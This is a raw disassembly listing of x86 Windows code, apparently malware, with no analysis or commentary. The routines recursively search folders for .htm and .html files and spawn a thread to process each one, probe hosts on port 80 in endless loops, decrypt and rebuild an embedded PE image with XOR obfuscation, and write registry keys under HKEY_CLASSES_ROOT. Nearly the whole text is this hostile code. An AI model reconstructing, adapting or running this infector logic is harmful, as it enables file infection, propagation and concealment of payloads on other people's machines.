		lea	eax, [ebp-9D0h]
		push	eax
		push	esi
		push	dword ptr [ebp-4]
		call	sub_40A2C6
		or	eax, eax
		jz	short loc_40435A
		jmp	loc_40442C
; ---------------------------------------------------------------------------


loc_40435A:				; CODE XREF: rdata:00404353j
		lea	eax, [ebp-9D0h]
		push	eax
		push	offset byte_414809
		lea	eax, [ebp-260h]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-260h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_40A2CC
		mov	dword ptr [ebp-778h], 258h
		lea	eax, [ebp-778h]
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		push	0
		push	dword ptr [ebp-8]
		call	sub_40A2D8
		or	eax, eax
		jnz	short loc_40441E
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40A0F8
		mov	ebx, 8
		lea	edi, byte_41481B
		jmp	short loc_40441A
; ---------------------------------------------------------------------------


loc_4043C7:				; CODE XREF: rdata:0040441Cj
		push	dword ptr [edi]
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40A272
		add	esp, 8
		or	eax, eax
		jz	short loc_404416
		lea	eax, [ebp-774h]
		push	eax
		push	dword ptr [edi]
		call	sub_403FF0
		lea	eax, [ebp-774h]
		push	eax
		call	sub_404250
		lea	eax, [ebp-774h]
		push	eax
		call	sub_40A266
		push	eax
		lea	eax, [ebp-774h]
		push	eax
		push	1
		push	0
		push	dword ptr [ebp-8]
		call	sub_40A2DE


loc_404416:				; CODE XREF: rdata:004043DAj
		add	edi, 4
		dec	ebx


loc_40441A:				; CODE XREF: rdata:004043C5j
		or	ebx, ebx
		jnz	short loc_4043C7


loc_40441E:				; CODE XREF: rdata:004043ACj
		push	dword ptr [ebp-8]
		call	sub_40A2B4
		inc	esi
		jmp	loc_404328
; ---------------------------------------------------------------------------


loc_40442C:				; CODE XREF: rdata:00404355j
		push	dword ptr [ebp-4]
		call	sub_40A2B4
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 5
		align 10h
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	edi
		push	esi
		push	ebx


loc_40444C:				; CODE XREF: rdata:004044EEj
		mov	dword ptr [ebp-4], 12Ch
		lea	eax, [ebp-130h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	sub_40A182
		lea	esi, [ebp-130h]
		jmp	short loc_4044DF
; ---------------------------------------------------------------------------


loc_40446B:				; CODE XREF: rdata:004044E2j
		push	esi
		call	sub_40A170
		cmp	eax, 3
		jnz	short loc_4044D6
		push	32h
		call	sub_40A290
		mov	[ebp-168h], eax
		push	esi
		push	dword ptr [ebp-168h]
		call	sub_40A25A
		mov	ecx, [ebp-168h]
		mov	byte ptr [ecx+2], 0
		lea	eax, [ebp-16Ch]
		push	eax
		push	1
		push	dword ptr [ebp-168h]
		push	offset sub_402100
		push	0
		push	0
		call	sub_40A128
		mov	[ebp-170h], eax
		push	0FFFFFFF1h
		push	dword ptr [ebp-170h]
		call	sub_40A20C
		push	0FFFFFFFFh
		push	dword ptr [ebp-170h]
		call	sub_40A236


loc_4044D6:				; CODE XREF: rdata:00404474j
		push	esi
		call	sub_40A266
		inc	eax
		add	esi, eax


loc_4044DF:				; CODE XREF: rdata:00404469j
		cmp	byte ptr [esi],	0
		jnz	short loc_40446B
		push	112A880h
		call	sub_40A212
		jmp	loc_40444C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0C2C95F5Eh, 9B8D0004h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404500	proc near		; CODE XREF: sub_404500+7Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		push	26Ah
		call	sub_40A290
		mov	esi, eax
		mov	byte ptr [esi+13Eh], 0
		push	(offset	loc_41460A+4)
		push	[ebp+arg_0]
		push	offset loc_414608
		lea	eax, [esi+13Eh]
		push	eax
		call	sub_40A0F2
		add	esp, 10h
		push	esi
		lea	eax, [esi+13Eh]
		push	eax
		call	sub_40A14C
		mov	ebx, eax
		jmp	loc_40460D
; ---------------------------------------------------------------------------


loc_40454C:				; CODE XREF: sub_404500+10Fj
		cmp	byte ptr [esi+2Ch], 2Eh
		jz	loc_404606
		lea	eax, [esi+2Ch]
		push	eax
		push	[ebp+arg_0]
		push	offset loc_414608
		lea	eax, [esi+13Eh]
		push	eax
		call	sub_40A0F2
		add	esp, 10h
		test	byte ptr [esi],	10h
		jz	short loc_40458B
		lea	eax, [esi+13Eh]
		push	eax
		call	sub_404500
		push	64h
		call	sub_40A212
		jmp	short loc_404606
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_404500+74j
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_40A0F8
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_40A266
		lea	edi, [esi+2Ch]
		cmp	dword ptr [eax+edi-4], 6D74682Eh
		jz	short loc_4045B4
		cmp	dword ptr [eax+edi-4], 6C6D7468h
		jnz	short loc_404606


loc_4045B4:				; CODE XREF: sub_404500+A8j
		push	258h
		call	sub_40A290
		mov	[ebp+var_8], eax
		lea	eax, [esi+13Eh]
		push	eax
		push	[ebp+var_8]
		call	sub_40A25A
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	[ebp+var_8]
		push	offset loc_402230
		push	0
		push	0
		call	sub_40A128
		mov	[ebp+var_C], eax
		push	0FFFFFFF1h
		push	[ebp+var_C]
		call	sub_40A20C
		push	0FFFFFFFFh
		push	[ebp+var_C]
		call	sub_40A236
		push	[ebp+var_C]
		call	sub_40A0FE


loc_404606:				; CODE XREF: sub_404500+50j
					; sub_404500+89j ...
		push	esi
		push	ebx
		call	sub_40A152


loc_40460D:				; CODE XREF: sub_404500+47j
		or	eax, eax
		jnz	loc_40454C
		push	ebx
		call	sub_40A146
		push	esi
		call	sub_40A296
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_404500	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF880h
		push	edi
		push	esi
		push	ebx
		push	offset word_41B362
		call	sub_40A134
		push	dword ptr [ebp+8]
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_40A25A
		push	dword ptr [ebp+8]
		call	sub_40A296
		push	offset word_41B362
		call	sub_40A1C4
		push	20h
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_40A200
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-390h]
		push	eax
		call	sub_40A25A
		lea	eax, [ebp-714h]
		push	eax
		lea	eax, [ebp-390h]
		push	eax
		call	sub_4049A0
		lea	eax, [ebp-264h]
		push	eax
		lea	eax, [ebp-138h]
		push	eax
		lea	eax, [ebp-714h]
		push	eax
		call	sub_404A80
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-390h]
		push	eax
		call	sub_409DB0
		or	eax, eax
		jnz	loc_40480A
		add	dword ptr [ebp-8], 2BCh
		push	dword ptr [ebp-8]
		call	sub_40A290
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-0Ch]
		call	sub_40A25A
		push	dword ptr [ebp-0Ch]
		call	sub_40A0F8
		push	offset loc_41458B
		push	dword ptr [ebp-0Ch]
		push	1
		call	sub_4083A0
		or	eax, eax
		jz	loc_4047FA
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047FA
		dec	eax
		mov	ebx, eax
		mov	esi, [ebp-4]
		add	ebx, 6
		mov	ecx, ebx
		add	ecx, esi
		push	ecx
		lea	eax, [ebp-138h]
		push	eax
		call	sub_404820
		or	eax, eax
		jz	loc_4047FA
		mov	ecx, ebx
		inc	ecx
		push	ecx
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_40A260
		add	esi, ebx
		lea	eax, [ebp-138h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_40A248
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_40A248
		push	dword ptr [ebp-0Ch]
		call	sub_40A266
		push	eax
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-390h]
		push	eax
		call	sub_404940
		lea	eax, [ebp-780h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		call	sub_404CC5
		push	dword ptr [ebp-780h]
		push	dword ptr [ebp-77Ch]
		lea	eax, [ebp-714h]
		push	eax
		call	sub_404940
		push	8000h
		push	0
		push	dword ptr [ebp-77Ch]
		call	sub_40A230
		lea	eax, [ebp-778h]
		push	eax
		call	sub_404B00
		lea	eax, [ebp-778h]
		push	eax
		push	offset loc_414537
		lea	eax, [ebp-264h]
		push	eax
		push	80000000h
		call	sub_404870
		lea	eax, [ebp-714h]
		push	eax
		push	offset loc_414540
		lea	eax, [ebp-264h]
		push	eax
		push	80000000h
		call	sub_404870


loc_4047FA:				; CODE XREF: rdata:00404707j
					; rdata:00404710j ...
		push	dword ptr [ebp-0Ch]
		call	sub_40A296
		push	dword ptr [ebp-4]
		call	sub_40A296


loc_40480A:				; CODE XREF: rdata:004046CBj
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404820	proc near		; CODE XREF: rdata:0040472Bp

var_320		= byte ptr -320h
var_190		= byte ptr -190h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE0h
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_40A266
		inc	eax
		mov	ebx, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40A25A
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_320]
		push	eax
		call	sub_40A260
		lea	eax, [ebp+var_320]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40A24E
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_404820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404870	proc near		; CODE XREF: rdata:004047D8p
					; rdata:004047F5p ...

var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFED0h
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		lea	eax, [ebp+var_130]
		push	eax
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A2BA
		or	eax, eax
		jnz	short loc_4048D2
		push	[ebp+arg_C]
		call	sub_40A266
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	0
		push	[ebp+var_130]
		call	sub_40A2E4
		push	[ebp+var_130]
		call	sub_40A2B4


loc_4048D2:				; CODE XREF: sub_404870+37j
		pop	edi
		leave
		retn	10h
sub_404870	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048E0	proc near		; CODE XREF: sub_404A80+54p
					; sub_404A80+68p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		movzx	ecx, byte ptr [eax+0Fh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Eh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Dh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ch]
		push	ecx
		movzx	ecx, byte ptr [eax+0Bh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ah]
		push	ecx
		movzx	ecx, byte ptr [eax+9]
		push	ecx
		movzx	ecx, byte ptr [eax+8]
		push	ecx
		movzx	ecx, word ptr [eax+6]
		push	ecx
		movzx	ecx, word ptr [eax+4]
		push	ecx
		push	dword ptr [eax]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A0F2
		add	esp, 34h
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_4048E0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404940	proc near		; CODE XREF: rdata:00404772p
					; rdata:0040479Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	0
		push	80h
		push	4
		push	0
		push	3
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40A110
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404992
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_40A206
		push	0
		push	esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40A242
		push	[ebp+var_4]
		call	sub_40A0FE


loc_404992:				; CODE XREF: sub_404940+26j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_404940	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049A0	proc near		; CODE XREF: rdata:00404696p

var_2F4		= dword	ptr -2F4h
var_2EE		= byte ptr -2EEh
var_2BC		= byte ptr -2BCh
var_258		= byte ptr -258h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD0Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_2F4], 0
		push	0
		push	64h
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_40A3A4
		push	0
		push	12Ch
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A3A4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A25A
		mov	edx, 64h
		lea	ecx, [ebp+var_258]
		lea	eax, [ebp+var_2EE]
		push	eax
		call	sub_40AF60
		mov	esi, 8
		lea	ebx, loc_414611+1
		lea	edi, [ebp+var_2BC]
		jmp	short loc_404A37
; ---------------------------------------------------------------------------


loc_404A12:				; CODE XREF: sub_4049A0+99j
		lea	edx, [ebp+var_2EE]
		mov	eax, [ebp+var_2F4]
		lea	eax, [eax+edx]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 1Ah
		div	ecx
		mov	al, dl
		xlat
		stosb
		dec	esi
		inc	[ebp+var_2F4]


loc_404A37:				; CODE XREF: sub_4049A0+70j
		or	esi, esi
		jnz	short loc_404A12
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A266
		lea	edx, [ebp+var_258]
		jmp	short loc_404A50
; ---------------------------------------------------------------------------


loc_404A4F:				; CODE XREF: sub_4049A0+B4j
		dec	eax


loc_404A50:				; CODE XREF: sub_4049A0+ADj
		cmp	byte ptr [eax+edx], 5Ch
		jnz	short loc_404A4F
		mov	byte ptr [eax+edx+1], 0
		lea	eax, [ebp+var_2BC]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	(offset	loc_41463C+2)
		push	[ebp+arg_4]
		call	sub_40A0F2
		add	esp, 10h
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4049A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A80	proc near		; CODE XREF: rdata:004046B0p

var_214		= byte ptr -214h
var_1F4		= byte ptr -1F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDECh
		push	edi
		push	esi
		push	ebx
		push	0
		push	12Ch
		lea	eax, [ebp+var_1F4]
		push	eax
		call	sub_40A3A4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1F4]
		push	eax
		call	sub_40A25A
		mov	edx, 64h
		lea	ecx, [ebp+var_1F4]
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40AF60
		push	[ebp+arg_4]
		push	offset loc_414592
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4048E0
		push	[ebp+arg_8]
		push	offset loc_414557
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4048E0
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_404A80	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B00	proc near		; CODE XREF: rdata:004047BBp
					; sub_409C10+104p

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_40], 0
		mov	esi, 10h
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40A27E
		lea	ebx, loc_414611+1
		mov	edi, [ebp+arg_0]
		jmp	short loc_404B45
; ---------------------------------------------------------------------------


loc_404B29:				; CODE XREF: sub_404B00+47j
		lea	edx, [ebp+var_3C]
		mov	eax, [ebp+var_40]
		lea	eax, [eax+edx]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 1Ah
		div	ecx
		mov	al, dl
		xlat
		stosb
		dec	esi
		inc	[ebp+var_40]


loc_404B45:				; CODE XREF: sub_404B00+27j
		or	esi, esi
		jnz	short loc_404B29
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_404B00	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx


loc_404B59:				; CODE XREF: rdata:loc_404BB3j
		lea	eax, [ebp-4]
		push	eax
		push	1
		push	offset byte_414897
		push	4027C0h
		push	0
		push	0
		call	sub_40A128
		push	eax
		call	sub_40A0FE
		lea	eax, [ebp-4]
		push	eax
		push	1
		push	offset word_4148A6
		push	4027C0h
		push	0
		push	0
		call	sub_40A128
		push	eax
		call	sub_40A0FE
		push	32h
		call	sub_40A212
		inc	esi
		cmp	esi, 100h
		jbe	short loc_404BB3
		push	1F4h
		call	sub_40A212
		xor	esi, esi


loc_404BB3:				; CODE XREF: rdata:00404BA5j
		jmp	short loc_404B59
; ---------------------------------------------------------------------------
		db 5Bh,	5Eh, 5Fh
		dd 4C2C9h, 24648Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		push	dword ptr [ebp+8]
		call	sub_40A308
		cmp	eax, edi
		jz	loc_404C85
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2Ch], eax
		push	edi
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_404C85
		mov	[ebp-4], eax
		mov	dword ptr [ebp-18h], 1
		lea	eax, [ebp-18h]
		push	eax
		push	8004667Eh
		push	dword ptr [ebp-4]
		call	sub_40A326
		mov	word ptr [ebp-14h], 2
		mov	esi, [ebp-2Ch]
		mov	[ebp-10h], esi
		push	50h
		call	sub_40A314
		mov	[ebp-12h], ax
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404C7D
		call	sub_40A2F0
		cmp	eax, 2733h
		jnz	short loc_404C7C
		mov	dword ptr [ebp-20h], 6
		mov	[ebp-1Ch], edi
		mov	eax, [ebp-4]
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], eax
		lea	eax, [ebp-20h]
		push	eax
		push	edi
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		push	edi
		call	sub_40A332
		cmp	eax, edi
		jz	short loc_404C7D
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404C7D
		inc	edi
		jmp	short loc_404C7D
; ---------------------------------------------------------------------------


loc_404C7C:				; CODE XREF: rdata:00404C47j
		inc	edi


loc_404C7D:				; CODE XREF: rdata:00404C3Bj
					; rdata:00404C72j ...
		push	dword ptr [ebp-4]
		call	sub_40A2FC


loc_404C85:				; CODE XREF: rdata:00404BD5j
					; rdata:00404BF2j
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 0FF8Bh
		dd 345678B9h, 5678B812h, 0BA501234h, 12345678h,	2E8h, 3109EB00h
		dd 4C08310h, 0C3F87549h, 345678B9h, 5678B812h, 78BA1234h
		dd 0E8123456h, 0FFFFFFE3h
		db 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CC5	proc near		; CODE XREF: rdata:00404785p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_C], 0
		push	offset byte_4149F7
		push	0
		push	4
		call	sub_40A1E2
		or	eax, eax
		jz	loc_404DB0
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	4
		push	[ebp+var_4]
		call	sub_40A1DC
		mov	[ebp+var_8], eax
		mov	ecx, [eax]
		mov	[ebp+var_14], ecx
		add	eax, 4
		mov	edi, eax
		push	40h
		push	1000h
		push	[ebp+var_14]
		push	0
		call	sub_40A22A
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		push	edi
		push	[ebp+var_10]
		call	sub_40F5BF
		mov	eax, [ebp+var_14]
		mov	dword_41BC5C, eax
		mov	eax, [ebp+var_10]
		mov	dword_41BC58, eax
		mov	dword_41BC50, offset dword_402890
		mov	ecx, offset byte_4028C5
		sub	ecx, offset dword_402890
		mov	dword_41BC4C, ecx
		mov	dword_41BC54, 70h
		mov	off_41BC40, 2
		mov	dword_41BC48, 0ED0h
		push	offset off_41BC40
		call	sub_404DC0
		mov	[ebp+var_C], eax
		push	8000h
		push	0
		push	[ebp+var_10]
		call	sub_40A230
		push	[ebp+var_8]
		call	sub_40A224
		push	[ebp+var_4]
		call	sub_40A0FE
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[ecx], eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[ecx], eax


loc_404DB0:				; CODE XREF: sub_404CC5+20j
		mov	eax, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_404CC5	endp

; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DC0	proc near		; CODE XREF: sub_404CC5+B4p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= byte ptr -26Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD74h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	40h
		push	1000h
		push	dword ptr [ebx+1Ch]
		push	0
		call	sub_40A22A
		mov	[ebp+var_28C], eax
		push	dword ptr [ebx+1Ch]
		push	dword ptr [ebx+18h]
		push	[ebp+var_28C]
		call	sub_40F5BF
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_40A27E
		lea	eax, [ebp+var_26C]
		mov	ecx, [eax]
		mov	[ebx+28h], ecx
		mov	[ebx+40h], ecx
		mov	ecx, [eax+4]
		mov	[ebx+34h], ecx
		mov	[ebx+4Ch], ecx
		push	[ebp+var_28C]
		call	sub_4106F0
		mov	esi, [ebp+var_28C]
		add	esi, [esi+3Ch]
		mov	eax, [esi+34h]
		mov	[ebp+var_270], eax
		mov	eax, [esi+28h]
		mov	[ebp+var_274], eax
		mov	eax, [ebx+34h]
		shr	eax, 1
		mov	[esi+8], eax
		push	[ebp+var_274]
		push	[ebp+var_28C]
		call	sub_404130
		add	eax, [ebx+8]
		add	eax, [ebp+var_28C]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_274]
		add	eax, [ebx+8]
		add	eax, [ebp+var_270]
		mov	[ebx+38h], eax
		add	esi, 0F8h
		mov	edi, [ebp+var_28C]
		add	edi, [esi+14h]
		add	edi, [esi+10h]
		sub	edi, 4
		xor	eax, eax
		jmp	short loc_404E93
; ---------------------------------------------------------------------------


loc_404E90:				; CODE XREF: sub_404DC0+D5j
		sub	edi, 4


loc_404E93:				; CODE XREF: sub_404DC0+CEj
		cmp	[edi], eax
		jz	short loc_404E90
		add	edi, 10h
		mov	[ebp+var_284], edi
		push	[ebp+var_274]
		push	[ebp+var_28C]
		call	sub_404130
		mov	edx, eax
		add	edx, [ebp+var_28C]
		add	edx, [ebx+8]
		sub	edi, edx
		shr	edi, 2
		mov	[ebx+24h], edi
		mov	[ebx+3Ch], edi
		mov	eax, [ebp+var_28C]
		add	eax, [esi+14h]
		add	eax, [esi+10h]
		sub	eax, [ebp+var_284]
		mov	[ebp+var_288], eax
		add	esi, 50h
		mov	eax, [ebp+var_270]
		add	eax, [esi+0Ch]
		mov	[ebx+44h], eax
		push	dword ptr [esi+0Ch]
		push	[ebp+var_28C]
		call	sub_404130
		add	eax, [ebp+var_28C]
		mov	[ebx+2Ch], eax
		mov	eax, [esi+10h]
		shr	eax, 2
		mov	[ebx+30h], eax
		mov	[ebx+48h], eax
		push	ebx
		call	sub_405030
		int	3		; Trap to Debugger
		push	offset dword_403000
		lea	eax, [ebp+var_27C]
		push	eax
		lea	eax, [ebp+var_280]
		push	eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebx+10h]
		call	sub_40FFD0
		push	[ebp+var_274]
		push	[ebp+var_28C]
		call	sub_404130
		add	eax, [ebp+var_28C]
		mov	ecx, [ebx+8]
		sub	ecx, [ebp+var_27C]
		add	eax, ecx
		mov	esi, [ebp+var_28C]
		add	esi, [esi+3Ch]
		add	[esi+28h], ecx
		push	[ebp+var_27C]
		push	[ebp+var_280]
		push	eax
		call	sub_40F5BF
		mov	dword ptr [esi+58h], 0
		mov	eax, [ebx+28h]
		add	eax, [ebx+40h]
		xor	edx, edx
		mov	ecx, [ebp+var_288]
		sub	ecx, [ebx+14h]
		sub	ecx, 10h
		div	ecx
		push	edx
		push	[ebp+var_28C]
		call	sub_4108B0
		add	eax, [ebp+var_284]
		sub	eax, [ebp+var_28C]
		push	eax
		push	[ebp+var_28C]
		call	sub_410840
		lea	eax, [ebx+20h]
		push	eax
		call	sub_405000
		push	[ebp+var_28C]
		call	sub_40FEC0
		push	8000h
		push	0
		push	[ebp+var_280]
		call	sub_40A230
		mov	eax, [ebp+var_28C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_404DC0	endp

; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404FF0	proc near		; CODE XREF: sub_405000+11p
					; sub_405000+1Fp
		pusha


loc_404FF1:				; CODE XREF: sub_404FF0+7j
		xor	[eax], edx
		add	eax, 4
		dec	ecx
		jnz	short loc_404FF1
		popa
		retn
sub_404FF0	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405000	proc near		; CODE XREF: sub_404DC0+1FBp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]
		mov	ecx, [ebx+4]
		mov	edx, [ebx+8]
		call	sub_404FF0
		mov	eax, [ebx+0Ch]
		mov	ecx, [ebx+10h]
		mov	edx, [ebx+14h]
		call	sub_404FF0
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_405000	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405030	proc near		; CODE XREF: sub_404DC0+152p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebx+10h]
		mov	eax, [ebx+3Ch]
		mov	[edi+1], eax
		mov	eax, [ebx+38h]
		mov	[edi+6], eax
		mov	eax, [ebx+40h]
		mov	[edi+0Ch], eax
		mov	eax, [ebx+48h]
		mov	[edi+21h], eax
		mov	eax, [ebx+44h]
		mov	[edi+26h], eax
		mov	eax, [ebx+4Ch]
		mov	[edi+2Bh], eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_405030	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
